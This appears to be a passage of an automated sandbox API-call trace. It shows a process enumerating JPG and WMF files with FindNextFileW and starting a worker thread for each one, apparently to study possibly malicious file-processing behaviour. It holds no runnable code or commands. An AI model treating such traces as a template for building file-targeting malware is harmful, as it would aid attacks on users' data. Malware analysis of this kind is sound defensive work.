	[0219.168] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1
	[0219.168] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1960
	[0219.171] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.171] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1
	[0219.171] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1964
	[0219.717] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.754] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1
	[0219.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1968
	[0219.767] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.768] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1
	[0219.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x196c
	[0219.774] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.775] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1
	[0219.775] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1970
	[0219.777] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.778] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1
	[0219.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1974
	[0219.780] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.781] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1
	[0219.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1978
	[0219.783] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.783] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1
	[0219.783] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x197c
	[0219.787] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.788] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1
	[0219.788] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1980
	[0219.793] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.794] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb5ac, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0146142.JPG", cAlternateFileName="")) returned 1
	[0219.794] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1984
	[0219.797] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0219.797] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaa9a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0148309.JPG", cAlternateFileName="")) returned 1
	[0219.798] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0219.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1988
	[0222.370] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0148757.JPG", cAlternateFileName="")) returned 1
	[0222.390] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0222.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198c
	[0222.403] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.403] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x955d, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0148798.JPG", cAlternateFileName="")) returned 1
	[0222.404] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0222.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1990
	[0222.408] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.409] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1
	[0222.410] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0222.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1994
	[0222.411] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.412] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1
	[0222.412] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0222.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1998
	[0222.415] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.415] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1
	[0222.415] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0222.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x199c
	[0222.418] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.419] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1
	[0222.419] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0222.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a0
	[0222.421] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.421] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1
	[0222.422] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0222.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a4
	[0222.424] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.425] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1
	[0222.425] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0222.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a8
	[0222.427] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.428] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1
	[0222.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0222.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ac
	[0222.433] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0222.433] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1
	[0222.435] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0222.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b0
	[0223.014] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.015] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1
	[0223.015] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b4
	[0223.017] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.018] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1
	[0223.018] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19b8
	[0223.021] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.022] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1
	[0223.022] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19bc
	[0223.024] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.024] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1
	[0223.024] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c0
	[0223.028] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.028] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1
	[0223.028] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c4
	[0223.031] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0223.032] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1
	[0223.032] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0223.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c8
	[0223.035] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
